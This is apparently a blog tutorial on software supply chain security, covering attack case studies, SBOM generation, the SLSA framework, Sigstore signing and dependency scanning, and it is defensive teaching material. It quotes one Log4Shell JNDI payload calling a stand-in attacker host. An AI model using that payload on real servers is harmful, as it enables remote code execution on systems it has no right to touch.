Back to Software Engineering & Delivery Mastery Series

Part 23: Software Supply Chain Security

May 13, 2026 Wasil Zafar 42 min read

The software supply chain — from source code to running production software — is now the #1 attack vector. Learn from SolarWinds, Log4Shell, and event-stream. Master SBOM generation, the SLSA framework, Sigstore signing, and dependency security strategies.

Table of Contents

  1. Introduction
  2. Anatomy of Supply Chain Attacks
  3. Case Studies
  4. SBOM (Software Bill of Materials)
  5. SLSA Framework
  6. Dependency Management Security
  7. Signing & Verification
  8. Secure Package Registries
  9. Runtime Protection
  10. Building a Security Program
  11. Exercises
  12. Conclusion & Next Steps

Introduction

The software supply chain is everything that happens between a developer writing code and that code running in production: source control, dependencies, build systems, package registries, container images, deployment pipelines, and runtime environments. Every link in this chain is an attack surface.

Modern applications are overwhelmingly composed of third-party code. The average Node.js application has 1,000+ transitive dependencies. A typical Java enterprise application pulls in 200+ JAR files. A Python ML pipeline imports 50+ packages each with their own dependency trees. You are not just shipping your code — you are shipping an entire ecosystem.

Why Supply Chain Security Is Critical Now

Three converging trends have made supply chain attacks the dominant threat vector:

  • Scale of dependency — modern apps are 80-95% third-party code
  • Trust by default — developers install packages without auditing them
  • Automation — CI/CD pipelines execute code automatically with elevated privileges
  • Transitive risk — a vulnerability in a dependency's dependency affects you
The Uncomfortable Truth: When you run npm install or pip install, you are executing arbitrary code from strangers on the internet with your user's permissions. Package install scripts can read your environment variables, SSH keys, and cloud credentials. This is the fundamental security model flaw that supply chain attacks exploit.

Anatomy of Supply Chain Attacks

Supply chain attacks target the trust relationships between components. Instead of attacking your application directly, adversaries compromise something you trust — a library, a build tool, a CI service — and use that trust to reach your systems.

Attack Vector How It Works Example
Compromised dependency Malicious code injected into a legitimate package event-stream (2018)
Build system tampering Attacker modifies the build pipeline to inject malware SolarWinds (2020)
Registry poisoning Uploading malicious packages with similar names Typosquatting (ongoing)
Typosquatting Publishing packages with names similar to popular ones "crossenv" vs "cross-env" on npm
Account takeover Compromising a maintainer's credentials ua-parser-js (2021)
CI/CD exploitation Compromising CI scripts to exfiltrate secrets CodeCov (2021)
Dependency confusion Publishing public packages that shadow private ones Alex Birsan research (2021)

Case Studies

SolarWinds (2020)

The SolarWinds attack is the most sophisticated supply chain compromise ever publicly documented. Russian intelligence (SVR) infiltrated SolarWinds' build system and injected malware (SUNBURST) into the Orion platform update. The trojanized update was signed with SolarWinds' legitimate certificate and distributed to 18,000 organisations including the US Treasury, Department of Homeland Security, and Fortune 500 companies.

SolarWinds Attack Flow
flowchart TD
    A[Attacker compromises
SolarWinds build system] --> B[Malicious code injected
during compilation] B --> C[Trojanized DLL included
in signed update package] C --> D[18,000 organisations
install update] D --> E[SUNBURST backdoor
activates after 2 weeks] E --> F[C2 communication via
DNS to attacker infrastructure] F --> G[Lateral movement to
high-value targets] style A fill:#BF092F,color:#fff style B fill:#BF092F,color:#fff style C fill:#132440,color:#fff style D fill:#132440,color:#fff style E fill:#16476A,color:#fff style F fill:#16476A,color:#fff style G fill:#16476A,color:#fff

Key lessons:

  • Build systems are high-value targets — they have access to signing keys and distribution channels
  • Code signing alone does not guarantee integrity — the malware was signed with a legitimate certificate
  • Detection took 9 months — the attack was discovered by FireEye, not SolarWinds
  • Reproducible builds would have caught the discrepancy between source code and binary

Log4Shell (2021)

CVE-2021-44228 (Log4Shell) was a critical remote code execution vulnerability in Apache Log4j 2, a ubiquitous Java logging library. A specially crafted log message could trigger JNDI lookup, allowing attackers to execute arbitrary code on any server running Log4j.

Why it was catastrophic:

  • Log4j is a transitive dependency — most organisations did not know they had it
  • It appeared in thousands of products: Minecraft servers, Apple iCloud, Elasticsearch, VMware
  • Exploitation was trivial: ${jndi:ldap://attacker.com/exploit} in any logged field
  • Many organisations needed weeks to identify all affected systems because they had no SBOM
Key Insight: Log4Shell proved that you cannot secure what you cannot see. Organisations with SBOMs (Software Bills of Materials) identified affected systems in hours. Those without spent days or weeks manually auditing applications. This single event accelerated SBOM adoption more than any policy mandate.

event-stream (2018)

A social engineering attack on open source maintainers. The attacker befriended the burnt-out maintainer of event-stream (a popular npm package with 2M weekly downloads), gradually gained commit access, then injected code targeting a specific Bitcoin wallet application (Copay). The malicious code only activated in the Copay build environment, making detection extremely difficult.

Key lessons:

  • Open source maintainers are single points of failure — many critical packages have one person
  • Targeted supply chain attacks can be surgically precise
  • npm's flat dependency resolution made the attack invisible to most consumers

CodeCov (2021)

Attackers modified CodeCov's Bash Uploader script (a CI integration used by thousands of projects) to exfiltrate environment variables from CI pipelines. Any project using the compromised script leaked secrets — API keys, tokens, credentials — to the attacker for over two months.

Attack Analysis

CodeCov — The CI Script That Stole Secrets

The CodeCov Bash Uploader was downloaded directly from CodeCov's servers into CI pipelines via curl | bash. When attackers modified the script, every CI run that downloaded it sent environment variables to an attacker-controlled server. Affected companies included Twitch, HashiCorp, Confluent, and potentially thousands more. The attack exploited a fundamental anti-pattern: downloading and executing unverified scripts from the internet in privileged CI environments. The fix: pin scripts by hash, vendor critical CI tools, verify checksums before execution.

CI/CD Secret Exfiltration Bash Pipe

SBOM (Software Bill of Materials)

An SBOM is a complete inventory of every component in your software — direct dependencies, transitive dependencies, their versions, licenses, and known vulnerabilities. It is the foundation of supply chain security: you cannot protect what you cannot see.

Why SBOMs Matter

  • Vulnerability response — when Log4Shell hits, find all affected systems in minutes
  • License compliance — ensure no GPL code in your proprietary product
  • Regulatory requirements — US Executive Order 14028 mandates SBOMs for government software
  • Supply chain transparency — know exactly what you are shipping

SBOM Formats

Format Organisation Focus Output
SPDX Linux Foundation License compliance + security JSON, XML, RDF, Tag-Value
CycloneDX OWASP Security + vulnerability tracking JSON, XML, Protocol Buffers
# Generate SBOM with Syft (supports containers, filesystems, archives)
# From a container image:
syft packages myregistry.io/myapp:latest -o cyclonedx-json > sbom.json

# From a project directory:
syft packages ./my-project/ -o spdx-json > sbom-spdx.json

# Scan SBOM for known vulnerabilities with Grype:
grype sbom:./sbom.json

# Example output:
# NAME          INSTALLED   VULNERABILITY   SEVERITY
# log4j-core    2.14.1      CVE-2021-44228  Critical
# jackson-core  2.12.3      CVE-2022-42003  High
# spring-web    5.3.8       CVE-2022-22965  Critical
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "version": 1,
  "metadata": {
    "timestamp": "2026-05-13T10:30:00Z",
    "tools": [{ "name": "syft", "version": "0.98.0" }],
    "component": {
      "type": "application",
      "name": "my-service",
      "version": "2.4.1"
    }
  },
  "components": [
    {
      "type": "library",
      "name": "express",
      "version": "4.18.2",
      "purl": "pkg:npm/express@4.18.2",
      "licenses": [{ "license": { "id": "MIT" } }]
    },
    {
      "type": "library",
      "name": "lodash",
      "version": "4.17.21",
      "purl": "pkg:npm/lodash@4.17.21",
      "licenses": [{ "license": { "id": "MIT" } }]
    }
  ]
}

SLSA Framework

SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a security framework created by Google that defines increasing levels of supply chain integrity. It provides a checklist of standards and controls to prevent tampering, improve integrity, and secure packages and infrastructure.

SLSA Levels — Progressive Supply Chain Security
flowchart TD
    L0["Level 0: No guarantees
No provenance, no verification"] --> L1 L1["Level 1: Provenance exists
Build process documented"] --> L2 L2["Level 2: Hosted build
Signed provenance from hosted service"] --> L3 L3["Level 3: Hardened builds
Isolated, ephemeral build environments
Tamper-resistant provenance"] style L0 fill:#666,color:#fff style L1 fill:#3B9797,color:#fff style L2 fill:#16476A,color:#fff style L3 fill:#132440,color:#fff
Level Requirements What It Prevents Example Implementation
SLSA 1 Build process exists and produces provenance Undocumented builds, unknown origins GitHub Actions with provenance output
SLSA 2 Version-controlled build definition; hosted build service generates signed provenance Tampered build scripts, unsigned artifacts GitHub Actions with OIDC + Sigstore
SLSA 3 Isolated, ephemeral build environments; non-falsifiable provenance; verified source SolarWinds-style build compromise; insider threats Google Cloud Build with SLSA3 builder

Build Provenance

Provenance is a verifiable record of how an artifact was built — what source code was used, which builder ran, what parameters were set, and who triggered it. It answers: "Can I trace this binary back to its source?"

# GitHub Actions: Generate SLSA provenance
name: Build with SLSA Provenance
on:
  push:
    tags: ['v*']

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      id-token: write   # OIDC token for Sigstore
      contents: read
      attestations: write
    steps:
      - uses: actions/checkout@v4
      - name: Build artifact
        run: |
          npm ci
          npm run build
          tar -czf dist.tar.gz ./dist/
      - name: Generate SLSA provenance
        uses: actions/attest-build-provenance@v1
        with:
          subject-path: dist.tar.gz

Dependency Management Security

Dependency management is the frontline of supply chain defence. Every package you install expands your attack surface. The goal is to minimise, verify, and continuously monitor your dependency tree.

Lock Files

Lock files (package-lock.json, yarn.lock, Pipfile.lock, go.sum) pin exact versions and integrity hashes. They ensure that npm install on CI produces the exact same dependency tree as on a developer's machine.

Key Insight: Always commit your lock file. Always use npm ci (not npm install) in CI pipelines. The ci command reads the lock file exactly and fails if it does not match package.json. The install command may update the lock file, introducing untested dependency versions.

Automated Dependency Updates

Tool Platform Key Feature
Dependabot GitHub Native GitHub integration, security alerts, auto-merge for patch versions
Renovate Any (self-hosted or cloud) Highly configurable, grouping, scheduling, custom managers
Snyk Any Vulnerability-focused, fix PRs with explanations, monitoring
# .github/dependabot.yml — Automated dependency updates
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "automated"
    # Group minor/patch updates to reduce PR noise
    groups:
      production-dependencies:
        patterns:
          - "*"
        update-types:
          - "minor"
          - "patch"

  - package-ecosystem: "docker"
    directory: "/"
    schedule:
      interval: "weekly"

  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Vulnerability Scanning

# npm: Check for known vulnerabilities
npm audit --production
# Fix automatically where possible
npm audit fix

# Python: pip-audit (recommended over pip check)
pip-audit --requirement requirements.txt --strict

# Go: govulncheck (official Go vulnerability scanner)
govulncheck ./...

# Universal: Trivy for any project
trivy fs --scanners vuln ./

Signing & Verification

Digital signatures provide authenticity (this artifact was produced by who it claims) and integrity (it has not been modified since signing). The Sigstore project has revolutionised artifact signing by eliminating the need for long-lived keys.

The Sigstore Ecosystem

Component Purpose Analogy
Cosign Sign and verify container images and blobs GPG for containers, but easier
Fulcio Certificate authority — issues short-lived signing certificates Let's Encrypt for code signing
Rekor Transparency log — immutable record of all signing events Certificate Transparency logs for artifacts

Keyless signing is the breakthrough innovation: instead of managing long-lived private keys (which can be stolen), Sigstore uses OIDC identity (your GitHub/Google/Microsoft account) to issue ephemeral certificates valid for minutes. The signing event is recorded in Rekor's immutable transparency log, providing a permanent audit trail.

# Sign a container image with Cosign (keyless)
cosign sign myregistry.io/myapp:v2.4.1
# This triggers OIDC login → Fulcio issues certificate → Signs image → Records in Rekor

# Verify a signed image
cosign verify myregistry.io/myapp:v2.4.1 \
  --certificate-identity=ci@myorg.com \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com

# Sign a binary/artifact (blob signing)
cosign sign-blob --output-signature sig.txt ./dist/myapp-linux-amd64

# Verify the blob
cosign verify-blob --signature sig.txt \
  --certificate-identity=ci@myorg.com \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ./dist/myapp-linux-amd64

Secure Package Registries

Package registries (npm, PyPI, Maven Central, Docker Hub) are critical trust anchors. Securing how you consume packages from these registries — and how you publish to them — is essential.

Registry Security Strategies

  • Private registries — host your own (Artifactory, Nexus, GitHub Packages) to control what is available
  • Proxy registries — cache public packages through a proxy that scans for vulnerabilities on ingress
  • Allow-lists — only permit pre-approved packages to be installed in CI
  • Namespace reservation — register your organisation's name on public registries to prevent dependency confusion
  • Two-factor auth — enforce 2FA for all package publishers
# .npmrc — Configure npm to use private registry with scoped packages
@myorg:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}

# Prevent accidental publishing to public npm
# package.json: "publishConfig": { "registry": "https://npm.pkg.github.com/" }
Dependency Confusion Attack: In 2021, researcher Alex Birsan demonstrated that publishing public npm packages with the same name as companies' internal private packages caused many build systems to prefer the public version (higher version number). He successfully injected code into builds at Apple, Microsoft, PayPal, Shopify, Netflix, Yelp, Tesla, and Uber. Mitigation: use scoped packages (@myorg/package), configure registry priorities, and reserve your namespace on public registries.

Runtime Protection

Even with perfect supply chain hygiene, compromised software may reach production. Runtime protections provide the final defence layer.

Kubernetes Admission Controllers

Admission controllers intercept requests to the Kubernetes API before objects are persisted. They can enforce policies like "only signed images" or "no containers running as root."

# Kyverno policy: Only allow signed container images
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  background: false
  rules:
    - name: check-image-signature
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "myregistry.io/*"
          attestors:
            - entries:
                - keyless:
                    subject: "ci@myorg.com"
                    issuer: "https://token.actions.githubusercontent.com"
                    rekor:
                      url: "https://rekor.sigstore.dev"

Runtime Security Monitoring

  • Falco (CNCF) — detects anomalous behaviour at runtime (unexpected network connections, file access, process execution)
  • RBAC enforcement — principle of least privilege for service accounts
  • Network policies — restrict pod-to-pod communication to only what is needed
  • Read-only filesystems — prevent runtime modification of container contents

Building a Supply Chain Security Program

Supply chain security is not a single tool — it is a program that matures over time. Start with quick wins that provide immediate visibility, then progressively harden your pipeline.

Supply Chain Security Maturity Model
flowchart LR
    L1["Stage 1: Visibility
• SBOM generation
• Dependency inventory
• Lock file enforcement"] --> L2["Stage 2: Scanning
• Automated vuln scanning
• License compliance
• Secret detection"] L2 --> L3["Stage 3: Enforcement
• Signed artifacts
• Admission control
• Policy-as-Code"] L3 --> L4["Stage 4: Resilience
• SLSA Level 3
• Reproducible builds
• Runtime monitoring"] style L1 fill:#3B9797,color:#fff style L2 fill:#16476A,color:#fff style L3 fill:#132440,color:#fff style L4 fill:#BF092F,color:#fff

Quick Wins (Week 1)

  1. Enable npm audit / pip-audit in CI (fail on critical vulnerabilities)
  2. Configure Dependabot or Renovate for automated updates
  3. Enforce lock files in CI (npm ci instead of npm install)
  4. Generate SBOMs for all production services
  5. Enable 2FA for all package registry accounts

Medium-Term (Month 1-3)

  1. Implement container image signing with Cosign
  2. Deploy admission controllers to enforce signed images
  3. Set up a private registry proxy with vulnerability scanning on ingress
  4. Pin GitHub Actions to commit SHAs (not tags)
  5. Implement SLSA Level 2 provenance generation
Case Study

Google — SLSA and Binary Authorization

Google internally requires all production deployments to pass Binary Authorization — a system that verifies artifacts were built by authorised build systems, from audited source code, with proper code review. This is essentially SLSA Level 3+ enforced at deployment time. The system was developed in response to internal security analyses showing that build system compromise was the most impactful attack vector against their infrastructure. Google open-sourced the SLSA framework in 2021 to bring this protection to the wider industry.

SLSA Binary Authorization Verified Builds

Exercises

Exercise 1 — SBOM Analysis: Generate an SBOM for one of your projects using Syft or Trivy. Scan it for vulnerabilities using Grype. Report: (a) total number of dependencies (direct + transitive), (b) number of known vulnerabilities by severity, (c) any dependencies with problematic licenses.
Exercise 2 — Attack Surface Mapping: For your team's CI/CD pipeline, draw a diagram showing every trust boundary: source code repositories, build systems, package registries, deployment targets, secrets stores. For each boundary, identify: what credentials cross it, what verification exists, and what an attacker with access could do.
Exercise 3 — SLSA Implementation: Take an existing GitHub Actions workflow and upgrade it to SLSA Level 2. Add: (a) provenance generation using actions/attest-build-provenance, (b) artifact signing with Cosign, (c) a verification step that confirms the signature before deployment.
Exercise 4 — Incident Response Plan: Write a supply chain incident response runbook for the scenario: "A critical CVE is published for a library that may be in our dependency tree." Include: (a) how to identify all affected services (hint: SBOM), (b) communication plan, (c) remediation steps, (d) post-incident review questions.

Conclusion & Next Steps

Software supply chain security is no longer optional — it is an existential concern. The attacks are real, the damage is catastrophic, and the industry is still catching up. The key takeaways:

  • You ship an ecosystem, not just your code — 80-95% of your deployed software is third-party dependencies
  • SBOMs are the foundation — you cannot secure what you cannot see
  • SLSA provides the roadmap — progressive levels from basic provenance to hardened builds
  • Sigstore removes the key management barrier — keyless signing makes artifact verification practical
  • Defence in depth — scanning + signing + admission control + runtime monitoring
  • Start with visibility — generate SBOMs, enable dependency scanning, enforce lock files today

Next in the Series

In Part 24: Secure CI/CD Pipelines, we apply supply chain security principles to the pipeline itself — secrets management, least-privilege CI runners, pipeline hardening, and protecting the build system from compromise.